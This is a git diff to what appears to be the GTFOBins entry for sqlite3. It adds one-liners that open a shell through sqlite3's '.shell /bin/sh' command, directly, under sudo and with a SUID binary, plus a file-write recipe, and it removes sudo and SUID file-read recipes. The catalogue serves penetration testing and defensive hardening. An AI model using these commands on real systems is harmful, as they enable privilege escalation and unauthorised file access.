diff --git a/_gtfobins/sqlite3.md b/_gtfobins/sqlite3.md index 6fa89ae..f9ad23f 100644 --- a/_gtfobins/sqlite3.md +++ b/_gtfobins/sqlite3.md @@ -1,21 +1,15 @@ --- functions: + execute-interactive: + - code: sqlite3 /dev/null '.shell /bin/sh' sudo-enabled: + - code: sudo sqlite3 /dev/null '.shell /bin/sh' + suid-limited: + - code: ./sqlite3 /dev/null '.shell /bin/sh' + file-write: - code: | - LFILE=file_to_read - sudo sqlite3 << EOF - CREATE TABLE t(line TEXT); - .import $LFILE t - SELECT * FROM t; - EOF - suid-enabled: - - code: | - LFILE=file_to_read - ./sqlite3 << EOF - CREATE TABLE t(line TEXT); - .import $LFILE t - SELECT * FROM t; - EOF + LFILE=file_to_write + sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";' file-read: - code: | LFILE=file_to_read